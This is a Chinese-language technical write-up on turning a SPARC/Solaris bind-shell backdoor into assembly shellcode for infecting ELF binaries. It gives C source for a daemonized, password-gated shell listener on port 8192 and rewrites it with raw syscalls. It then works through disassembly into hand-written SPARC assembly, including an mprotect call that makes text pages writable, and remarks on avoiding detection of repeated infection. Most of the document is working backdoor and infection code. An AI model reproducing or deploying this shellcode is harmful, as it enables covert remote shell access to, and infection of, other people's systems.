| 无论从感染ELF文件角度还是编写远程shellcode角度都有必要研究SPARC/Solaris下 的网络系统调用。这个方向并没有现成的资料,我也是摸着石头过河,给大家探个路。 -------------------------------------------------------------------------- /* gcc -g -ggdb -o s s.c -lsocket */ #include <signal.h> #include <unistd.h> #include <sys/socket.h> #include <netinet/in.h> int s, c; struct sockaddr_in serv_addr; char * name[2]; char pass[9] = "xxxxxxxx"; int main ( int argc, char * argv[] ) { if ( fork() == 0 ) /* 子进程 */ { setsid(); /* become session leader */ signal( SIGHUP, SIG_IGN ); if ( fork() == 0 ) /* 子进程 */ { serv_addr.sin_family = 2; serv_addr.sin_addr.s_addr = 0; serv_addr.sin_port = 0x2000; // 端口8192 // 创建TCP套接字,这里与Linux有区别 s = socket( 2, 2, 6 ); bind( s, ( struct sockaddr * )&serv_addr, 0x10 ); listen( s, 1 ); signal( SIGCHLD, SIG_IGN ); while ( 1 ) { c = accept( s, 0, 0 ); if ( fork() == 0 ) /* 子进程 */ { close( s ); /* 用c进行通信,做一次弱验证保护 */ while ( strcmp( pass, "12345678" ) != 0 ) { read( c, pass, 8 ); } // 准备输入输出重定向,标准技术 dup2( c, 0 ); dup2( c, 1 ); dup2( c, 2 ); close( c ); /* 这里可以关闭c */ name[0] = "/bin/sh"; name[1] = 0; execve( name[0], name, 0 ); exit( 0 ); /* 防止execve()失败 */ } close( c ); /* 这里必须关闭c */ } /* end of while */ } } return( 0 ); /* 父进程 */ } /* end of main */ -------------------------------------------------------------------------- 该程序只能编译成动态版本,如果指定-static,发现 [scz@ /space/staff/scz/src]> gcc -g -ggdb -static -o s s.c -lsocket 未定义符号 在文件中 endnetconfig /usr/lib/libsocket.a(_soutil.o) setnetconfig /usr/lib/libsocket.a(_soutil.o) getnetconfig /usr/lib/libsocket.a(_soutil.o) ld: 致命的: 符号参照错误. 没有输出被写入s [scz@ /space/staff/scz/src]> 我尝试了/usr/lib和/lib下的很多库,都无法解决这个问题。后来拷贝 /usr/lib/libsocket.a到当前目录,用ar dv ./libsocket.a _soutil.o处理,然后 链接一样失败。甚至ar xv ./libsocket.a后用ld命令进行手工链接,依旧存在外部 符号无着落的问题。 大家知道,没有静态版本,要想得到一个精简的汇编代码版本是不可能的,总不能在 浩如烟海的动态链接库里单步跟踪下去判断中断调用发生在哪里。还好,可以用 truss跟踪。适当调整上述代码,用truss跟踪后有如下内容: setsid() = 2260 sigaction(SIGHUP, 0xEFFFFC58, 0xEFFFFCD8) = 0 so_socket(2, 2, 6, "", 1) = 3 bind(3, 0x00021E60, 16) = 0 listen(3, 1) = 0 sigaction(SIGCLD, 0xEFFFFC58, 0xEFFFFCD8) = 0 accept(3, 0x00000000, 0x00000000) (sleeping...) 这堆信息就不用我再废话解释了吧。ok,至此我们有了一个绝妙的想法,既然得不到 静态版本主要由于libsocket.a外部符号无着落,那么我用syscall呢?直接进行相对 底层的系统调用,呵呵,其实以前很少用syscall的,这次也是被逼无奈嘛。现在可 以抛弃-lsocket链接开关了,这只猪害人不浅。 关于setsid(),如果用gdb反汇编一路看下去,还是很快定位到中断调用的,但是我 们可以直接观察/usr/include/sys/syscall.h,第39号系统调用的注释中有: setsid() == syscall( 39, 3 ) == syscall( SYS_pgrpsys, 3 ) 显然可以直接替换setsid()。至于signal,对应48号系统调用(SYS_signal),也直接 利用syscall完成。 -------------------------------------------------------------------------- // gcc -g -ggdb -static -o s s.c // 使用syscall之后,可以抛弃-lsocket链接开关 // 由于libsocket.a有点问题,存在外部符号无着落,无法使用静态链接开关 // 但是现在我们抛开了libsocket.a,可以指定-static了,哈哈 #include <signal.h> #include <unistd.h> #include <sys/socket.h> #include <netinet/in.h> #include <sys/syscall.h> #include <fcntl.h> int s, c; struct sockaddr_in serv_addr; char * name[2]; char pass[9] = "xxxxxxxx"; int main ( int argc, char * argv[] ) { if ( fork() == 0 ) /* 子进程 */ { // setsid(); /* become session leader */ // SYS_pgrpsys syscall( 39, 3 ); // signal( SIGHUP, SIG_IGN ); // SYS_signal syscall( 48, 1, 1 ); if ( fork() == 0 ) /* 子进程 */ { serv_addr.sin_family = 2; serv_addr.sin_addr.s_addr = 0; // 使用big endian序 serv_addr.sin_port = 0x2000; // 端口8192 // 创建TCP套接字,这里与Linux有区别 // s = socket( 2, 2, 6 ); // SYS_so_socket s = syscall( 230, 2, 2, 6 ); // bind( s, ( struct sockaddr * )&serv_addr, 0x10 ); // SYS_bind syscall( 232, s, ( struct sockaddr * )&serv_addr, 16 ); // listen( s, 1 ); // SYS_listen syscall( 233, s, 1 ); // signal( SIGCHLD, SIG_IGN ); syscall( 48, 18, 1 ); while ( 1 ) { // c = accept( s, 0, 0 ); // SYS_accept c = syscall( 234, s, 0, 0 ); if ( fork() == 0 ) /* 子进程 */ { // close( s ); // SYS_close syscall( 6, s ); /* 用c进行通信,做一次弱验证保护 */ while ( strcmp( pass, "12345678" ) != 0 ) { // read( c, pass, 8 ); // SYS_read syscall( 3, c, pass, 8 ); } // 准备输入输出重定向,标准技术 // dup2( c, 0 ); // dup2( c, 1 ); // dup2( c, 2 ); // SPARC/Solaris没有单独实现dup2,而是用fcntl实现 // 有点其他问题,请参看APUE,天晓得发生了什么 // syscall( SYS_fcntl, c, F_DUP2FD, 0 ); syscall( 62, c, 9, 0 ); syscall( 62, c, 9, 1 ); syscall( 62, c, 9, 2 ); // close( c ); /* 这里可以关闭c */ syscall( 6, c ); name[0] = "/bin/sh"; name[1] = 0; execve( name[0], name, 0 ); // exit( 0 ); /* 防止execve()失败 */ // SYS_exit syscall( 1, 0 ); } // close( c ); /* 这里必须关闭c */ syscall( 6, c ); } /* end of while */ } } return( 0 ); /* 父进程 */ } /* end of main */ -------------------------------------------------------------------------- 对于fork(),可以gdb ./s后disas _libc_fork查看。粗略浏览一遍之后,觉得基本 上每个系统调用都能得到机器码,下面着手细化每个系统调用,毕竟和i386/Linux不 同了。 -------------------------------------------------------------------------- 0x101c0 <main+12> : call 0x1267c <fork> 0x101c4 <main+16> : nop 0x101c8 <main+20> : cmp %o0, 0 0x101cc <main+24> : bne 0x10434 <main+640> 0x101d0 <main+28> : nop 0x131c4 <_libc_fork> : mov 2, %g1 ! 0x2 0x131c8 <_libc_fork+4> : ta 8 0x131cc <_libc_fork+8> : bcc 0x131e0 <_libc_fork+28> 0x131d0 <_libc_fork+12>: sethi %hi(0x16000), %o5 0x131d4 <_libc_fork+16>: or %o5, 0x90, %o5 ! 0x16090 <_cerror> 0x131d8 <_libc_fork+20>: jmp %o5 0x131dc <_libc_fork+24>: nop 0x131e0 <_libc_fork+28>: tst %o1 0x131e4 <_libc_fork+32>: bne,a 0x131ec <_libc_fork+40> 0x131e8 <_libc_fork+36>: mov %g0, %o0 0x131ec <_libc_fork+40>: retl 0x131f0 <_libc_fork+44>: nop -------------------------------------------------------------------------- 综合判断后提炼如下: -------------------------------------------------------------------------- /* gcc -o asm asm.c */ int main ( int argc, char * argv[] ) { __asm__ (" mov 2, %g1 ta 8 tst %o1 ! %o1不为0表示是子进程 bne,a .+16 ! 是子进程,跳转 mov %g0, %o0 ! 延迟插槽,注意理解延迟插槽的执行顺序 call .+8 nop nop ! 需要替换,此时%o0为0,子进程继续 "); } /* end of main */ -------------------------------------------------------------------------- 可以用truss ./asm观察一下上述代码是否成功执行了fork()系统调用,man手册里提 到fork()失败会返回-1。 下面来观察syscall( 39, 3 ): -------------------------------------------------------------------------- 0x101d4 <main+32> : mov 0x27, %o0 ! 0x27 0x101d8 <main+36> : mov 3, %o1 0x101dc <main+40> : call 0x10fec <syscall> 0x101e0 <main+44> : nop 0x10fec <syscall> : clr %g1 0x10ff0 <syscall+4> : ta 8 0x10ff4 <syscall+8> : bcc 0x11008 <syscall+28> 0x10ff8 <syscall+12>: sethi %hi(0x16000), %o5 0x10ffc <syscall+16>: or %o5, 0x90, %o5 ! 0x16090 <_cerror> 0x11000 <syscall+20>: jmp %o5 0x11004 <syscall+24>: nop 0x11008 <syscall+28>: retl 0x1100c <syscall+32>: nop -------------------------------------------------------------------------- 综合判断后提炼如下: -------------------------------------------------------------------------- /* gcc -o asm asm.c */ int main ( int argc, char * argv[] ) { __asm__ (" mov 0x27, %o0 mov 3, %o1 clr %g1 ta 8 "); } /* end of main */ -------------------------------------------------------------------------- 同样可以用truss ./asm观察一下上述代码是否成功执行了setsid()系统调用。 下面来观察syscall( 48, 1, 1 ): -------------------------------------------------------------------------- 0x101e4 <main+48>: mov 0x30, %o0 ! 0x30 0x101e8 <main+52>: mov 1, %o1 0x101ec <main+56>: mov 1, %o2 0x101f0 <main+60>: call 0x10fec <syscall> 0x101f4 <main+64>: nop -------------------------------------------------------------------------- 综合判断后提炼如下: -------------------------------------------------------------------------- /* gcc -o asm asm.c */ int main ( int argc, char * argv[] ) { __asm__ (" mov 0x30, %o0 mov 1, %o1 mov 1, %o2 clr %g1 ta 8 "); } /* end of main */ -------------------------------------------------------------------------- 有了上面的研究基础,下面直接编写syscall( 1, 0 ): -------------------------------------------------------------------------- /* gcc -o asm asm.c */ int main ( int argc, char * argv[] ) { __asm__ (" mov 0x01, %o0 clr %o1 clr %g1 ta 8 "); } /* end of main */ -------------------------------------------------------------------------- ok,到此为止,我们不急于分析网络系统调用,计划先整和出一个汇编版本的daemon 框架: -------------------------------------------------------------------------- /* gcc -o asm asm.c */ int main ( int argc, char * argv[] ) { __asm__ (" mov 2, %g1 ta 8 tst %o1 ! %o1不为0表示是子进程 bne,a .+16 ! 是子进程,跳转 mov %g0, %o0 ! 延迟插槽 call exit nop mov 0x27, %o0 ! 此前%o0为0,子进程继续 mov 3, %o1 clr %g1 ta 8 mov 0x30, %o0 mov 1, %o1 mov 1, %o2 clr %g1 ta 8 mov 2, %g1 ta 8 tst %o1 ! %o1不为0表示是子进程 bne,a .+16 ! 是子进程,跳转 mov %g0, %o0 ! 延迟插槽 call exit nop exit: mov 0x01, %o0 clr %o1 clr %g1 ta 8 "); } /* end of main */ -------------------------------------------------------------------------- 哈哈,虽然SPARC总是和我过不去,可也要留下点回忆嘛。 接下来观察s = syscall( 230, 2, 2, 6 ): -------------------------------------------------------------------------- 0x10244 <main+144>: mov 0xe6, %o0 0x10248 <main+148>: mov 2, %o1 0x1024c <main+152>: mov 2, %o2 0x10250 <main+156>: mov 6, %o3 0x10254 <main+160>: call 0x10fec <syscall> 0x10258 <main+164>: nop 0x1025c <main+168>: sethi %hi(0x27800), %o1 0x10260 <main+172>: st %o0, [ %o1 + 0x1b4 ] ! 0x279b4 <s> -------------------------------------------------------------------------- 从这里可以看出s由%o0返回,其余的对于我们已经不新鲜了: -------------------------------------------------------------------------- /* gcc -o asm asm.c */ int main ( int argc, char * argv[] ) { __asm__ (" mov 0xe6, %o0 mov 0x02, %o1 mov 0x02, %o2 mov 0x06, %o3 clr %g1 ta 8 st %o0, [ %l7 ] ! [ %l7 ]存放s "); } /* end of main */ -------------------------------------------------------------------------- 如果去掉最后的st指令,可以用truss ./asm检验效果,最后的st指令是保存s的意思, 这里假设%l7已经指向正确的内存空间。 接下来观察syscall( 232, s, ( struct sockaddr * )&serv_addr, 16 ): -------------------------------------------------------------------------- 0x1020c <main+88> : sethi %hi(0x27800), %o0 0x10210 <main+92> : mov 2, %o1 0x10214 <main+96> : sth %o1, [ %o0 + 0x1b8 ] ! serv_addr.sin_family = 2; 0x10218 <main+100>: sethi %hi(0x27800), %o0 0x1021c <main+104>: mov 4, %o1 0x10220 <main+108>: or %o0, 0x1b8, %o2 ! 0x279b8 <serv_addr> 0x10224 <main+112>: add %o1, %o2, %o0 ! 0x279bc <serv_addr+4> 0x10228 <main+116>: clr [ %o0 ] ! serv_addr.sin_addr.s_addr = 0; 0x1022c <main+120>: sethi %hi(0x27800), %o0 0x10230 <main+124>: mov 2, %o1 0x10234 <main+128>: or %o0, 0x1b8, %o2 ! 0x279b8 <serv_addr> 0x10238 <main+132>: add %o1, %o2, %o0 ! 0x279ba <serv_addr+2> 0x1023c <main+136>: sethi %hi(0x2000), %o1 0x10240 <main+140>: sth %o1, [ %o0 ] ! serv_addr.sin_port = 0x2000; 0x10264 <main+176>: sethi %hi(0x27800), %o1 0x10268 <main+180>: mov 0xe8, %o0 0x1026c <main+184>: ld [ %o1 + 0x1b4 ], %o1 ! %o1设置成s 0x10270 <main+188>: sethi %hi(0x27800), %o3 0x10274 <main+192>: or %o3, 0x1b8, %o2 ! 0x279b8 <serv_addr> 0x10278 <main+196>: mov 0x10, %o3 ! 16 0x1027c <main+200>: call 0x10fec <syscall> 0x10280 <main+204>: nop -------------------------------------------------------------------------- 这两段比较晦涩难懂,我也无法确认该如何提炼,先尝试如下: -------------------------------------------------------------------------- /* gcc -o asm asm.c */ int main ( int argc, char * argv[] ) { __asm__ (" mov 2, %o1 sth %o1, [ %l7 + 0x04 ] ! serv_addr.sin_family clr [ %l7 + 0x08 ] ! serv_addr.sin_addr.s_addr sethi %hi(0x2000), %o1 sth %o1, [ %l7 + 0x06 ] ! serv_addr.sin_port mov 0xe8, %o0 ! 第一个参数232 ld [ %l7 ], %o1 ! 第二个参数s mov 4, %o2 add %l7, %o2, %o2 ! 第三个参数&serv_addr mov 0x10, %o3 ! 最后一个参数16 clr %g1 ta 8 "); } /* end of main */ -------------------------------------------------------------------------- 不用观察syscall( 233, s, 1 )、syscall( 48, 18, 1 ),直接编写它们: -------------------------------------------------------------------------- /* gcc -o asm asm.c */ int main ( int argc, char * argv[] ) { __asm__ (" mov 0xe9, %o0 ! 第一个参数233 ld [ %l7 ], %o1 ! 第二个参数s mov 0x01, %o2 ! 第三个参数1 clr %g1 ta 8 mov 0x30, %o0 mov 0x12, %o1 mov 0x01, %o2 clr %g1 ta 8 "); } /* end of main */ -------------------------------------------------------------------------- 下面是c = syscall( 234, s, 0, 0 )的相关代码片段,尚未提炼: -------------------------------------------------------------------------- 0x102c0 <main+268>: sethi %hi(0x27800), %o1 0x102c4 <main+272>: mov 0xea, %o0 0x102c8 <main+276>: ld [ %o1 + 0x1b4 ], %o1 0x102cc <main+280>: clr %o2 0x102d0 <main+284>: clr %o3 0x102d4 <main+288>: call 0x10fec <syscall> 0x102d8 <main+292>: nop 0x102dc <main+296>: sethi %hi(0x27800), %o1 0x102e0 <main+300>: st %o0, [ %o1 + 0x1b0 ] ! 0x279b0 <c> -------------------------------------------------------------------------- -------------------------------------------------------------------------- /* gcc -o asm asm.c */ int main ( int argc, char * argv[] ) { __asm__ (" mov 0xea, %o0 ld [ %l7 ], %o1 ! 第二个参数s clr %o2 clr %o3 clr %g1 ta 8 st %o0, [ %l7 + 4 ] ! [ %l7 +4 ]存放c "); } /* end of main */ -------------------------------------------------------------------------- 一个更加残酷的问题摆到了革命群众的面前。Linux下有125号系统调用, SPARC/Solaris呢?我在Linux的/usr/include/bits/syscall.h中大海捞针一般地找 到了125号系统调用的符号名SYS_mprotect,于是转回SUN下在 /usr/include/sys/syscall.h中查找SYS_mprotect,还好,116号系统调用就是的。 可入口参数呢?我怎么知道那些破破的SPARC芯片寄存器中哪个该设置成相关参数呢? 如果你以为革命群众已经到了最后关头,那就太不具备革命乐观主义精神了。万般无 奈下,我man mprotect了,呼呼,居然有东西出现,那么下面就不要废话啦,先赶快 提取mprotect的汇编码: -------------------------------------------------------------------------- /* gcc -o test test.c */ #include <stdio.h> #include <errno.h> #include <sys/mman.h> int main ( int argc, char * argv[] ) { char * buf; char c; /* 分配一块内存,拥有缺省的rw-保护 */ buf = ( char * )malloc( 1024 + 4096 - 1 ); if ( !buf ) { perror( "Couldn't malloc( 1024 )" ); exit( errno ); } /* Align to a multiple of PAGESIZE, assumed to be a power of two */ buf = ( char * )( ( ( unsigned long )buf + 4096 - 1 ) & ~( 4096 - 1 ) ); c = buf[77]; /* Read ok */ buf[77] = c; /* Write ok */ printf( "ok\n" ); /* Mark the buffer read-only. */ // 必须保证这里buf位于页边界上,否则mprotect()失败,报告无效参数 */ if ( mprotect( buf, 1024, PROT_READ ) ) { perror( "\nCouldn't mprotect" ); exit( errno ); } c = buf[77]; /* Read ok */ buf[77] = c; /* Write error, program dies on SIGSEGV */ exit( 0 ); } /* end of main */ -------------------------------------------------------------------------- [scz@ /export/home/scz/src]> gcc -o test test.c [scz@ /export/home/scz/src]> ./test ok 段错误 (core dumped) <-- -- -- 内存保护起作用了 [scz@ /export/home/scz/src]> 用gdb ./test看到如下入口参数: -------------------------------------------------------------------------- 0x10bc4 <main+152>: ld [ %fp + -20 ], %o0 0x10bc8 <main+156>: mov 0x400, %o1 0x10bcc <main+160>: mov 1, %o2 0x10bd0 <main+164>: call 0x21874 <mprotect> 0x10bd4 <main+168>: nop -------------------------------------------------------------------------- 同样,并不直接使用mprotect系统调用,依旧采用syscall的方式,我们编写如下代 码: -------------------------------------------------------------------------- /* gcc -o asm asm.c */ int main ( int argc, char * argv[] ) { __asm__ (" mov 0x74, %o0 ! 第一个参数116 sethi %hi(0x10000), %o1 ! 第二参数,起始地址 sethi %hi(0x00002000), %o2 ! 第三个参数8096 mov 0x07, %o3 ! 第四个参数7,rwx clr %g1 ta 8 ! call . ! 用于调试,设置个无限循环,然后用pmap观察 ! nop "); } /* end of main */ -------------------------------------------------------------------------- 别看目前代码这样清晰明了,可是费了不少手脚。关键需要注意的地方是起始地址必 须位于页边界上,将来我们可以取得_start之后与一个0xffff0000。甚至再简单点, 直接就使用上面这段代码,据我观察很多应用程序的_start都在0x10000到0x20000之 间。其次,这里想到了另外一个问题,6.c和7.c在文本段中只设置了4096字节的可读 可写区域,所以重复感染的次数不能太多,即使设置了4*4096字节的可读可写区域, 也不能重复感染太多次,否则就会出现段溢出错误,因为可能对只读内存区域进行了 写操作;再说重复感染多次,文件尺寸的激增也容易暴露,没有必要。我们这里姑且 先固定地使用0x10000做起始地址,回头打印一下通过程序找到的文本段起始地址, 看看是否符合页边界对齐的要求,如果符合,就可以动态设置起始地址。再说吧, SPARC下罗嗦了许多。 我们可以整合出一个daemon,这个daemon监听8192端口: -------------------------------------------------------------------------- /* gcc -o asm asm.c */ int main ( int argc, char * argv[] ) { __asm__ (" mov 0x74, %o0 ! 第一个参数116 sethi %hi(0x10000), %o1 ! 第二参数,起始地址 sethi %hi(0x00002000), %o2 ! 第三个参数8096 mov 0x07, %o3 ! 第四个参数7,rwx clr %g1 ta 8 bn,a .-4 ! 跳转去执行call .-4指令 bn,a .-4 ! 跳转去执行nop call .-4 ! 跳转去执行前面这条bn,a .-4指令 nop ! 作为延迟插槽被执行一次,bn,a跳转后又执行一次 add %o7, 172, %l7 ! %o7 + 172 指向本段代码尾部 mov 0xe6, %o0 mov 0x02, %o1 mov 0x02, %o2 mov 0x06, %o3 clr %g1 ta 8 st %o0, [ %l7 ] ! [ %l7 ]存放s mov 2, %o1 sth %o1, [ %l7 + 0x04 ] ! serv_addr.sin_family clr [ %l7 + 0x08 ] ! serv_addr.sin_addr.s_addr sethi %hi(0x2000), %o1 sth %o1, [ %l7 + 0x06 ] ! serv_addr.sin_port mov 0xe8, %o0 ! 第一个参数232 ld [ %l7 ], %o1 ! 第二个参数s mov 4, %o2 add %l7, %o2, %o2 ! 第三个参数&serv_addr mov 0x10, %o3 ! 最后一个参数16 clr %g1 ta 8 mov 0xe9, %o0 ! 第一个参数233 ld [ %l7 ], %o1 ! 第二个参数s mov 0x01, %o2 ! 第三个参数1 clr %g1 ta 8 mov 0x30, %o0 mov 0x12, %o1 mov 0x01, %o2 clr %g1 ta 8 mov 0xea, %o0 ld [ %l7 ], %o1 ! 第二个参数s clr %o2 clr %o3 clr %g1 ta 8 st %o0, [ %l7 + 4 ] ! [ %l7 +4 ]存放c exit: mov 0x01, %o0 clr %o1 clr %g1 ta 8 .ascii \"xxxxxxxx\" .ascii \"xxxxxxxx\" .ascii \"xxxxxxxx\" .ascii \"xxxxxxxx\" "); } /* end of main */ -------------------------------------------------------------------------- |








